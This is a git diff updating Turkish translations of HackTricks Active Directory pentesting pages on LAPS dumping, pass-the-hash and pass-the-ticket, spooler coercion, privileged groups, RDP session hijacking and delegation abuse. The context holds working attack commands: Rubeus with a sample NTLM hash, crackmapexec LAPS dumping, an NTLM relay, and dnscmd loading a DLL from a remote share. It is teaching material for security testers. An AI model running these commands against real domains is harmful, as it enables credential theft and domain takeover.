**`ms-mcs-AdmPwdExpirationTime`**. Bu nitelikler, sırasıyla **düz metin yönetici şifresini** ve **şifrenin son kullanma tarihini** saklar. ### Aktif olup olmadığını kontrol et ```bash @@ -24,9 +24,9 @@ Get-DomainObject -SearchBase "LDAP://DC=sub,DC=domain,DC=local" | ? { $_."ms-mcs ``` ### LAPS Parola Erişimi -Ham LAPS politikasını `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` adresinden **indirebilir** ve ardından bu dosyayı insan tarafından okunabilir bir formata dönüştürmek için [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketinden **`Parse-PolFile`** kullanılabilir. +Ham LAPS politikasını `\\dc\SysVol\domain\Policies\{4A8A4E8E-929F-401A-95BD-A7D40E0976C8}\Machine\Registry.pol` adresinden **indirebilir** ve ardından bu dosyayı insan tarafından okunabilir formata dönüştürmek için [**GPRegistryPolicyParser**](https://github.com/PowerShell/GPRegistryPolicyParser) paketinden **`Parse-PolFile`** kullanılabilir. -Ayrıca, erişim sağladığımız bir makinede yüklüyse **yerel LAPS PowerShell cmdlet'leri** kullanılabilir: +Ayrıca, erişim sağladığımız bir makinede yüklüyse **yerel LAPS PowerShell cmdlet'leri** de kullanılabilir: ```powershell Get-Command *AdmPwd* @@ -85,7 +85,7 @@ DC01.DOMAIN_NAME.LOCAL j&gR+A(s976Rf% 12/10/2022 13:24:41 ``` ## **Dumping LAPS Passwords With Crackmapexec** -Eğer bir powershell erişiminiz yoksa, bu yetkiyi LDAP üzerinden uzaktan kötüye kullanabilirsiniz. +Eğer bir powershell erişiminiz yoksa, bunu LDAP kullanarak uzaktan bu yetkiyi kötüye kullanabilirsiniz. ``` crackmapexec ldap 10.10.10.10 -u user -p password --kdcHost 10.10.10.10 -M laps ``` @@ -117,7 +117,7 @@ Set-DomainObject -Identity wkstn-2 -Set @{"ms-mcs-admpwdexpirationtime"="2326099 ### Arka Kapı -LAPS'ın orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kodda (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yönteminde) bir arka kapı koymak mümkündür; bu, bir şekilde **yeni şifreleri dışarı sızdırabilir veya bir yere depolayabilir**. +LAPS'ın orijinal kaynak kodu [burada](https://github.com/GreyCorbel/admpwd) bulunabilir, bu nedenle kodda (örneğin `Main/AdmPwd.PS/Main.cs` içindeki `Get-AdmPwdPassword` yönteminde) bir arka kapı koymak mümkündür; bu, bir şekilde **yeni şifreleri dışarı sızdıracak veya bir yere depolayacaktır**. Sonra, yeni `AdmPwd.PS.dll` dosyasını derleyin ve bunu `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` konumundaki makineye yükleyin (ve değiştirme zamanını değiştirin). diff --git a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md index e96cae975..e9aa74407 100644 --- a/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md +++ b/src/windows-hardening/active-directory-methodology/over-pass-the-hash-pass-the-key.md @@ -5,9 +5,9 @@ ## Overpass The Hash/Pass The Key (PTK) -**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelik kazandığı ortamlara yönelik tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep eder ve bu sayede bir ağ içindeki kaynaklara yetkisiz erişim sağlar. +**Overpass The Hash/Pass The Key (PTK)** saldırısı, geleneksel NTLM protokolünün kısıtlandığı ve Kerberos kimlik doğrulamasının öncelik kazandığı ortamlara yönelik olarak tasarlanmıştır. Bu saldırı, bir kullanıcının NTLM hash'ini veya AES anahtarlarını kullanarak Kerberos biletleri talep eder ve bu sayede bir ağ içindeki kaynaklara yetkisiz erişim sağlar. -Bu saldırıyı gerçekleştirmek için ilk adım, hedef kullanıcının hesabının NTLM hash'ini veya şifresini edinmektir. Bu bilgiyi güvence altına aldıktan sonra, hesap için bir Ticket Granting Ticket (TGT) alınabilir ve bu da saldırganın kullanıcının izinlerine sahip olduğu hizmetlere veya makinelere erişmesini sağlar. +Bu saldırıyı gerçekleştirmek için ilk adım, hedef kullanıcının hesabının NTLM hash'ini veya şifresini edinmektir. Bu bilgiyi güvence altına aldıktan sonra, hesap için bir Ticket Granting Ticket (TGT) alınabilir ve bu da saldırganın kullanıcının izinleri olan hizmetlere veya makinelere erişmesine olanak tanır. İşlem, aşağıdaki komutlarla başlatılabilir: ```bash @@ -24,7 +24,7 @@ Rubeus.exe kullanarak alternatif bir komut dizisi, bu tekniğin başka bir yön .\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt .\PsExec.exe -accepteula \\labwws02.jurassic.park cmd ``` -Bu yöntem, kimlik doğrulama amaçları için bileti doğrudan ele geçirme ve kullanma üzerine odaklanan **Pass the Key** yaklaşımını yansıtır. Bir TGT isteğinin başlatılmasının, varsayılan olarak RC4-HMAC kullanımını belirten `4768: A Kerberos authentication ticket (TGT) was requested` olayını tetiklediğini belirtmek önemlidir; ancak modern Windows sistemleri AES256'yı tercih etmektedir. +Bu yöntem, kimlik doğrulama amaçları için bileti doğrudan ele geçirme ve kullanma odaklı **Pass the Key** yaklaşımını yansıtır. Bir TGT isteğinin başlatılmasının, varsayılan olarak RC4-HMAC kullanımını belirten `4768: A Kerberos authentication ticket (TGT) was requested` olayını tetiklediğini belirtmek önemlidir; ancak modern Windows sistemleri AES256'yı tercih etmektedir. Operasyonel güvenliğe uymak ve AES256 kullanmak için aşağıdaki komut uygulanabilir: ```bash diff --git a/src/windows-hardening/active-directory-methodology/pass-the-ticket.md b/src/windows-hardening/active-directory-methodology/pass-the-ticket.md index d7019be85..e2da4b5c5 100644 --- a/src/windows-hardening/active-directory-methodology/pass-the-ticket.md +++ b/src/windows-hardening/active-directory-methodology/pass-the-ticket.md @@ -4,7 +4,7 @@ ## Pass The Ticket (PTT) -**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini almazlar. Bu çalınan bilet, **kullanıcının kimliğini taklit etmek** için kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar. +**Pass The Ticket (PTT)** saldırı yönteminde, saldırganlar **bir kullanıcının kimlik doğrulama biletini** çalarlar, bunun yerine şifrelerini veya hash değerlerini almazlar. Çalınan bu bilet, **kullanıcının taklit edilmesi** için kullanılır ve bir ağ içindeki kaynaklara ve hizmetlere yetkisiz erişim sağlar. **Oku**: @@ -21,7 +21,7 @@ Converting ccache => kirbi python ticket_converter.py velociraptor.kirbi velociraptor.ccache Converting kirbi => ccache ``` -Windows'da [Kekeo](https://github.com/gentilkiwi/kekeo) kullanılabilir. +Windows'ta [Kekeo](https://github.com/gentilkiwi/kekeo) kullanılabilir. ### Pass The Ticket Saldırısı ```bash:Linux diff --git a/src/windows-hardening/active-directory-methodology/password-spraying.md b/src/windows-hardening/active-directory-methodology/password-spraying.md index fa228734e..4b01ba92a 100644 --- a/src/windows-hardening/active-directory-methodology/password-spraying.md +++ b/src/windows-hardening/active-directory-methodology/password-spraying.md @@ -8,9 +8,9 @@ Birçok **geçerli kullanıcı adı** bulduktan sonra, her bir keşfedilen kullanıcı ile en **yaygın şifreleri** deneyebilirsiniz (ortamın şifre politikalarını göz önünde bulundurun).\ **Varsayılan** olarak **minimum** **şifre** **uzunluğu** **7**'dir. -Yaygın kullanıcı adı listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) +Yaygın kullanıcı adları listeleri de faydalı olabilir: [https://github.com/insidetrust/statistically-likely-usernames](https://github.com/insidetrust/statistically-likely-usernames) -Birden fazla yanlış şifre denerseniz bazı hesapların **kilitlenebileceğini** unutmayın (varsayılan olarak 10'dan fazla). +Birden fazla yanlış şifre denerseniz bazı hesapların kilitlenebileceğini unutmayın (varsayılan olarak 10'dan fazla). ### Şifre politikasını öğrenme @@ -31,7 +31,7 @@ net accounts (Get-DomainPolicy)."SystemAccess" #From powerview ``` -### Linux'ten (veya tümünden) Sömürü +### Linux'ten Sömürü (veya hepsi) - **crackmapexec** kullanarak: ```bash diff --git a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md index 7373cde16..e75ca9deb 100644 --- a/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md +++ b/src/windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md @@ -9,7 +9,7 @@ ## Spooler Servisi İstismarı Eğer _**Print Spooler**_ servisi **etkinse**, bazı bilinen AD kimlik bilgilerini kullanarak Alan Denetleyicisi'nin yazıcı sunucusuna yeni yazdırma görevleri hakkında bir **güncelleme** **talep** edebilir ve sadece **bildirimi bazı sistemlere göndermesini** söyleyebilirsiniz.\ -Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması** yapması gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve hizmet bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**. +Yazıcı, bildirimi rastgele sistemlere gönderdiğinde, o **sistem** ile **kimlik doğrulaması yapması** gerekir. Bu nedenle, bir saldırgan _**Print Spooler**_ servisini rastgele bir sistemle kimlik doğrulaması yapacak şekilde yönlendirebilir ve hizmet bu kimlik doğrulamasında **bilgisayar hesabını** **kullanacaktır**. ### Alan üzerindeki Windows Sunucularını Bulma @@ -17,7 +17,7 @@ PowerShell kullanarak, Windows kutularının bir listesini alın. Sunucular gene ```bash Get-ADComputer -Filter {(OperatingSystem -like "*windows*server*") -and (OperatingSystem -notlike "2016") -and (Enabled -eq "True")} -Properties * | select Name | ft -HideTableHeaders > servers.txt ``` -### Spooler hizmetlerini dinleyenleri bulma +### Spooler hizmetlerini dinleyen bulma Biraz değiştirilmiş @mysmartlogin'in (Vincent Le Toux'un) [SpoolerScanner](https://github.com/NotMedic/NetNTLMtoSilverTicket) aracını kullanarak, Spooler Hizmetinin dinleyip dinlemediğini kontrol edin: ```bash @@ -28,7 +28,7 @@ Linux'te rpcdump.py kullanabilir ve MS-RPRN Protokolü'nü arayabilirsiniz. ```bash rpcdump.py DOMAIN/USER:PASSWORD@SERVER.DOMAIN.COM | grep MS-RPRN ``` -### Servisten rastgele bir ana bilgisayara kimlik doğrulaması yapmasını isteyin +### Servisi rastgele bir ana bilgisayara kimlik doğrulaması yapması için istekte bulunun [ **SpoolSample'ı buradan**](https://github.com/NotMedic/NetNTLMtoSilverTicket)** derleyebilirsiniz.** ```bash @@ -41,7 +41,7 @@ printerbug.py 'domain/username:password'@ ``` ### Kısıtlanmamış Delegasyon ile Birleştirme -Eğer bir saldırgan [Kısıtlanmamış Delegasyon](unconstrained-delegation.md) ile bir bilgisayarı ele geçirmişse, saldırgan **yazıcının bu bilgisayara kimlik doğrulaması yapmasını sağlayabilir**. Kısıtlanmamış delegasyon nedeniyle, **yazıcının bilgisayar hesabının TGT'si** kısıtlanmamış delegasyona sahip bilgisayarın **belleğinde** **saklanacaktır**. Saldırgan bu ana bilgisayarı zaten ele geçirdiği için, **bu bileti alabilir** ve kötüye kullanabilir ([Pass the Ticket](pass-the-ticket.md)). +Eğer bir saldırgan [Kısıtlanmamış Delegasyon](unconstrained-delegation.md) ile bir bilgisayarı ele geçirmişse, saldırgan **yazıcının bu bilgisayara kimlik doğrulaması yapmasını sağlayabilir**. Kısıtlanmamış delegasyon nedeniyle, **yazıcının bilgisayar hesabının TGT'si** kısıtlanmamış delegasyona sahip bilgisayarın **belleğinde** **saklanacaktır**. Saldırgan bu hostu zaten ele geçirdiği için, **bu bileti alabilecek** ve bunu kötüye kullanabilecektir ([Pass the Ticket](pass-the-ticket.md)). ## RCP Zorla Kimlik Doğrulama @@ -49,9 +49,9 @@ Eğer bir saldırgan [Kısıtlanmamış Delegasyon](unconstrained-delegation.md) ## PrivExchange -`PrivExchange` saldırısı, **Exchange Server `PushSubscription` özelliğinde** bulunan bir hatanın sonucudur. Bu özellik, herhangi bir posta kutusuna sahip alan kullanıcısının Exchange sunucusunu HTTP üzerinden herhangi bir istemci sağlanan ana bilgisayara kimlik doğrulaması yapmaya zorlamasına olanak tanır. +`PrivExchange` saldırısı, **Exchange Server `PushSubscription` özelliğinde** bulunan bir hatanın sonucudur. Bu özellik, herhangi bir posta kutusuna sahip alan kullanıcısının Exchange sunucusunu HTTP üzerinden herhangi bir istemci sağlanan hosta kimlik doğrulaması yapmaya zorlamasına olanak tanır. -Varsayılan olarak, **Exchange hizmeti SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019 Öncesi Kümülatif Güncelleme'de alan üzerinde WriteDacl ayrıcalıklarına sahiptir**). Bu hata, **LDAP'ya bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için sömürülebilir. LDAP'ya iletim mümkün olmadığında bile, bu hata alan içindeki diğer ana bilgisayarlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde sömürülmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Alan Yöneticisi'ne anında erişim sağlar. +Varsayılan olarak, **Exchange servisi SYSTEM olarak çalışır** ve aşırı ayrıcalıklara sahiptir (özellikle, **2019 Öncesi Kümülatif Güncelleme'de alan üzerinde WriteDacl ayrıcalıklarına sahiptir**). Bu hata, **LDAP'ya bilgi iletimini sağlamak ve ardından alan NTDS veritabanını çıkarmak** için sömürülebilir. LDAP'ya iletim mümkün olmadığında bile, bu hata alan içindeki diğer hostlara iletim ve kimlik doğrulama yapmak için kullanılabilir. Bu saldırının başarılı bir şekilde sömürülmesi, herhangi bir kimlik doğrulaması yapılmış alan kullanıcı hesabıyla Alan Yöneticisi'ne anında erişim sağlar. ## Windows İçinde @@ -76,8 +76,6 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -chain-id 2e9a3696-d8c2- # Issuing NTLM relay attack on the local server with custom command mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth ntlm-relay 192.168.45.250 ``` -Or use this other technique: [https://github.com/p0dalirius/MSSQL-Analysis-Coerce](https://github.com/p0dalirius/MSSQL-Analysis-Coerce) - ### Certutil certutil.exe lolbin (Microsoft imzalı ikili) kullanarak NTLM kimlik doğrulamasını zorlamak mümkündür: @@ -102,7 +100,7 @@ Eğer bir bilgisayara MitM saldırısı gerçekleştirebilir ve onun göreceği ``` ## NTLMv1 Kırma -Eğer [NTLMv1 zorluklarını yakalayabilirseniz, bunları nasıl kıracağınızı buradan okuyun](../ntlm/#ntlmv1-attack).\ +Eğer [NTLMv1 zorluklarını yakalayabilirseniz, onları nasıl kıracağınızı buradan okuyun](../ntlm/#ntlmv1-attack).\ &#xNAN;_Remember NTLMv1'i kırmak için Responder zorluğunu "1122334455667788" olarak ayarlamanız gerektiğini unutmayın._ {{#include ../../banners/hacktricks-training.md}} diff --git a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md index c13606e16..7cd247939 100644 --- a/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md +++ b/src/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges.md @@ -20,7 +20,7 @@ Yeni kullanıcı eklemek ve DC01'e yerel giriş yapmak mümkündür. ## AdminSDHolder grubu -**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL), Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediğinden kritik öneme sahiptir; bu gruplar arasında yüksek ayrıcalıklı gruplar da bulunmaktadır. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar. +**AdminSDHolder** grubunun Erişim Kontrol Listesi (ACL), yüksek ayrıcalıklı gruplar da dahil olmak üzere Active Directory içindeki tüm "korunan gruplar" için izinleri belirlediği için çok önemlidir. Bu mekanizma, yetkisiz değişiklikleri önleyerek bu grupların güvenliğini sağlar. Bir saldırgan, **AdminSDHolder** grubunun ACL'sini değiştirerek standart bir kullanıcıya tam izinler verebilir. Bu, o kullanıcıya tüm korunan gruplar üzerinde tam kontrol sağlamış olur. Eğer bu kullanıcının izinleri değiştirilir veya kaldırılırsa, sistemin tasarımı gereği bir saat içinde otomatik olarak geri yüklenir. @@ -46,15 +46,15 @@ DC üzerindeki dosyalara erişim, kullanıcı `Server Operators` grubunun bir pa ### Yetki Yükseltme -Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyebilir ve değiştirebilirsiniz. Örneğin, `Server Operators` grubu belirli hizmetler üzerinde tam kontrole sahiptir, bu da keyfi komutların yürütülmesine ve yetki yükseltmeye olanak tanır: +Sysinternals'tan `PsService` veya `sc` kullanarak, hizmet izinlerini inceleyip değiştirmek mümkündür. Örneğin, `Server Operators` grubu, belirli hizmetler üzerinde tam kontrol sahibi olup, keyfi komutların yürütülmesine ve yetki yükseltmeye olanak tanır: ```cmd C:\> .\PsService.exe security AppReadiness ``` -Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilmesine olanak tanıdığını gösterir. +Bu komut, `Server Operators` grubunun tam erişime sahip olduğunu ve bu sayede hizmetlerin yükseltilmiş ayrıcalıklar için manipüle edilebileceğini gösterir. ## Yedekleme Operatörleri -`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları nedeniyle `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmadan bile, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir. +`Backup Operators` grubuna üyelik, `SeBackup` ve `SeRestore` ayrıcalıkları sayesinde `DC01` dosya sistemine erişim sağlar. Bu ayrıcalıklar, açık izinler olmaksızın, `FILE_FLAG_BACKUP_SEMANTICS` bayrağını kullanarak klasör geçişi, listeleme ve dosya kopyalama yeteneklerini etkinleştirir. Bu süreç için belirli betiklerin kullanılması gereklidir. Grup üyelerini listelemek için şunu çalıştırın: ```powershell @@ -138,7 +138,7 @@ Get-NetGroupMember -Identity "DnsAdmins" -Recurse ``` ### Rastgele DLL Yürüt -Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzaktan bir paylaşımdan) yüklemesini sağlamak için aşağıdaki gibi komutlar kullanabilir: +Üyeler, DNS sunucusunun rastgele bir DLL'yi (yerel veya uzaktan bir paylaşımdan) yüklemesini sağlamak için şu komutları kullanabilir: ```powershell dnscmd [dc.computername] /config /serverlevelplugindll c:\path\to\DNSAdmin-DLL.dll dnscmd [dc.computername] /config /serverlevelplugindll \\1.2.3.4\share\DNSAdmin-DLL.dll @@ -182,18 +182,18 @@ Get-WinEvent -LogName security | where { $_.ID -eq 4688 -and $_.Properties[8].Va ``` ## Exchange Windows İzinleri -Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubu istismar eden ayrıcalık yükseltme teknikleri, Exchange-AD-Privesc GitHub deposunda ayrıntılı olarak açıklanmıştır. +Bu grup, alan nesnesi üzerindeki DACL'leri değiştirebilir ve potansiyel olarak DCSync ayrıcalıkları verebilir. Bu grubun istismar edilmesiyle ilgili ayrıcalık yükseltme teknikleri Exchange-AD-Privesc GitHub deposunda ayrıntılı olarak açıklanmıştır. ```powershell # List members Get-NetGroupMember -Identity "Exchange Windows Permissions" -Recurse ``` ## Hyper-V Yöneticileri -Hyper-V Yöneticileri, sanallaştırılmış Alan Denetleyicileri üzerinde kontrol elde etmek için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'leri klonlamayı ve NTDS.dit dosyasından NTLM hash'lerini çıkarmayı içerir. +Hyper-V Yöneticileri, sanallaştırılmış Alan Denetleyicileri üzerinde kontrol sağlamak için kullanılabilecek Hyper-V'ye tam erişime sahiptir. Bu, canlı DC'lerin kopyalanmasını ve NTDS.dit dosyasından NTLM hash'lerinin çıkarılmasını içerir. ### Sömürü Örneği -Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korunan bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirmeyi içerir: +Firefox'un Mozilla Bakım Servisi, Hyper-V Yöneticileri tarafından SYSTEM olarak komutlar çalıştırmak için sömürülebilir. Bu, korunan bir SYSTEM dosyasına sert bir bağlantı oluşturarak ve bunu kötü niyetli bir çalıştırılabilir dosya ile değiştirerek gerçekleştirilir: ```bash # Take ownership and start the service takeown /F C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe @@ -203,19 +203,19 @@ Not: Hard link istismarı, son Windows güncellemeleri ile azaltılmıştır. ## Organizasyon Yönetimi -**Microsoft Exchange**'in kurulu olduğu ortamlarda, **Organizasyon Yönetimi** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm alan kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek **`Exchange Windows Permissions`** grubunu içerir. +**Microsoft Exchange**'in dağıtıldığı ortamlarda, **Organizasyon Yönetimi** olarak bilinen özel bir grup önemli yetkilere sahiptir. Bu grup, **tüm etki alanı kullanıcılarının posta kutularına erişim** hakkına sahiptir ve **'Microsoft Exchange Güvenlik Grupları'** Organizasyonel Birimi (OU) üzerinde **tam kontrol** sağlar. Bu kontrol, ayrıcalık yükseltmesi için istismar edilebilecek **`Exchange Windows Permissions`** grubunu içerir. ### Ayrıcalık İstismarı ve Komutlar #### Yazdırma Operatörleri -**Yazdırma Operatörleri** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Alan Denetleyicisine yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Denetimi'ni (UAC) atlamak gereklidir. +**Yazdırma Operatörleri** grubunun üyeleri, **`SeLoadDriverPrivilege`** dahil olmak üzere birkaç ayrıcalıkla donatılmıştır; bu, onlara **bir Etki Alanı Denetleyicisi'ne yerel olarak giriş yapma**, onu kapatma ve yazıcıları yönetme yetkisi verir. Bu ayrıcalıkları istismar etmek için, özellikle **`SeLoadDriverPrivilege`** yükseltilmemiş bir bağlamda görünmüyorsa, Kullanıcı Hesabı Denetimi'ni (UAC) atlamak gereklidir. Bu grubun üyelerini listelemek için aşağıdaki PowerShell komutu kullanılır: ```powershell Get-NetGroupMember -Identity "Print Operators" -Recurse ``` -Daha ayrıntılı istismar teknikleri için **`SeLoadDriverPrivilege`** ile ilgili olarak, belirli güvenlik kaynaklarına başvurulmalıdır. +Daha ayrıntılı **`SeLoadDriverPrivilege`** ile ilgili istismar teknikleri için, belirli güvenlik kaynaklarına başvurulmalıdır. #### Uzak Masaüstü Kullanıcıları @@ -237,7 +237,7 @@ Get-NetLocalGroupMember -ComputerName -GroupName "Remote Management Us #### Sunucu Operatörleri -Bu grup, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Etki Alanı Denetleyicileri üzerinde çeşitli yapılandırmalar gerçekleştirme izinlerine sahiptir. Üyeleri listelemek için verilen komut: +Bu grubun, Yedekleme ve geri yükleme ayrıcalıkları, sistem saatini değiştirme ve sistemi kapatma dahil olmak üzere Alan Denetleyicileri üzerinde çeşitli yapılandırmalar yapma izinleri vardır. Üyeleri listelemek için verilen komut: ```powershell Get-NetGroupMember -Identity "Server Operators" -Recurse ``` diff --git a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md index 3550106c6..df816c806 100644 --- a/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md +++ b/src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md @@ -1,10 +1,10 @@ -# RDP Oturum İstismarı +# RDP Oturumları İstismarı {{#include ../../banners/hacktricks-training.md}} ## RDP Süreç Enjeksiyonu -Eğer **harici grup**, mevcut alandaki herhangi bir **bilgisayara RDP erişimine** sahipse, bir **saldırgan** o **bilgisayarı ele geçirebilir ve onu bekleyebilir**. +Eğer **harici grup**, mevcut alandaki herhangi bir **bilgisayara** **RDP erişimine** sahipse, bir **saldırgan** o **bilgisayarı ele geçirebilir ve onu bekleyebilir**. O kullanıcı RDP üzerinden erişim sağladıktan sonra, **saldırgan o kullanıcının oturumuna geçebilir** ve harici alandaki izinlerini istismar edebilir. ```powershell @@ -30,13 +30,13 @@ PID PPID Name Arch Session User beacon> inject 4960 x64 tcp-local ## From that beacon you can just run powerview modules interacting with the external domain as that user ``` -Diğer araçlarla **oturum çalmanın diğer yollarını** kontrol edin [**bu sayfada.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing) +Check **other ways to steal sessions with other tools** [**in this page.**](../../network-services-pentesting/pentesting-rdp.md#session-stealing) ## RDPInception Eğer bir kullanıcı **RDP ile bir makineye** erişirse ve burada bir **saldırgan** onu **bekliyorsa**, saldırgan **kullanıcının RDP oturumuna bir beacon enjekte edebilir** ve eğer **kurban RDP ile erişirken diski bağladıysa**, **saldırgan buna erişebilir**. -Bu durumda, **kurbanın** **orijinal bilgisayarını** **backdoor** yazarak **tehdit edebilirsiniz** **başlangıç klasörüne**. +Bu durumda, sadece **kurbanın** **orijinal bilgisayarını** **backdoor** yazarak **tehdit edebilirsiniz**. ```powershell # Wait til someone logs in: net logons diff --git a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md index 378b84d07..a24de20a3 100644 --- a/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md +++ b/src/windows-hardening/active-directory-methodology/resource-based-constrained-delegation.md @@ -20,16 +20,16 @@ Ancak, **S4U2Proxy**'de kullanılan **TGS** **İleri Yönlendirilebilir DEĞİLS ### Saldırı Yapısı -> Eğer bir **Bilgisayar** hesabı üzerinde **eşdeğer yazma ayrıcalıklarına** sahipseniz, o makinede **ayrılmış erişim** elde edebilirsiniz. +> Eğer bir **Bilgisayar** hesabı üzerinde **yazma eşdeğer ayrıcalıklarına** sahipseniz, o makinede **ayrılmış erişim** elde edebilirsiniz. -Saldırganın zaten **kurban bilgisayar üzerinde eşdeğer yazma ayrıcalıklarına** sahip olduğunu varsayalım. +Saldırganın zaten **kurban bilgisayarı üzerinde yazma eşdeğer ayrıcalıklarına** sahip olduğunu varsayalım. -1. Saldırgan, bir **SPN**'ye sahip bir hesabı **ele geçirir** veya **oluşturur** (“Hizmet A”). Herhangi bir _Yönetici Kullanıcı_ özel bir ayrıcalığa sahip olmadan **10'a kadar Bilgisayar nesnesi** (**_MachineAccountQuota_**) **oluşturabilir** ve bunlara bir **SPN** ayarlayabilir. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir. -2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kötüye kullanarak **Kaynağa dayalı kısıtlı delegasyonu, ServiceA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde** yapılandırır. +1. Saldırgan, bir **SPN**'ye sahip bir hesabı **ele geçirir** veya **oluşturur** (“Hizmet A”). Herhangi bir _Yönetici Kullanıcı_ özel bir ayrıcalığa sahip olmadan **10'a kadar Bilgisayar nesnesi oluşturabilir** (**_MachineAccountQuota_** olarak) ve bunlara bir **SPN** ayarlayabilir. Bu nedenle, saldırgan sadece bir Bilgisayar nesnesi oluşturup bir SPN ayarlayabilir. +2. Saldırgan, kurban bilgisayar (ServiceB) üzerindeki **yazma ayrıcalığını** kötüye kullanarak **Kaynağa Dayalı kısıtlı delegasyonu, ServiceA'nın o kurban bilgisayar (ServiceB) üzerinde herhangi bir kullanıcıyı taklit etmesine izin verecek şekilde yapılandırır**. 3. Saldırgan, **Service B**'ye **ayrılmış erişime** sahip bir kullanıcı için **tam bir S4U saldırısı** (S4U2Self ve S4U2Proxy) gerçekleştirmek üzere Rubeus'u kullanır. 1. S4U2Self (ele geçirilen/oluşturulan SPN'den): **Yönetici için bana bir TGS iste** (İleri Yönlendirilemez). -2. S4U2Proxy: Önceki adımda **İleri Yönlendirilemez TGS**'yi kullanarak **kurban ana bilgisayara** **Yönetici**'den bir **TGS** talep et. -3. İleri Yönlendirilemez bir TGS kullanıyor olsanız bile, Kaynağa dayalı kısıtlı delegasyonu istismar ettiğiniz için bu **çalışacaktır**. +2. S4U2Proxy: Önceki adımda **İleri Yönlendirilemez TGS**'yi kullanarak **kurban ana bilgisayara** **Yönetici**'den bir **TGS** istemek. +3. İleri Yönlendirilemez bir TGS kullanıyor olsanız bile, Kaynağa Dayalı kısıtlı 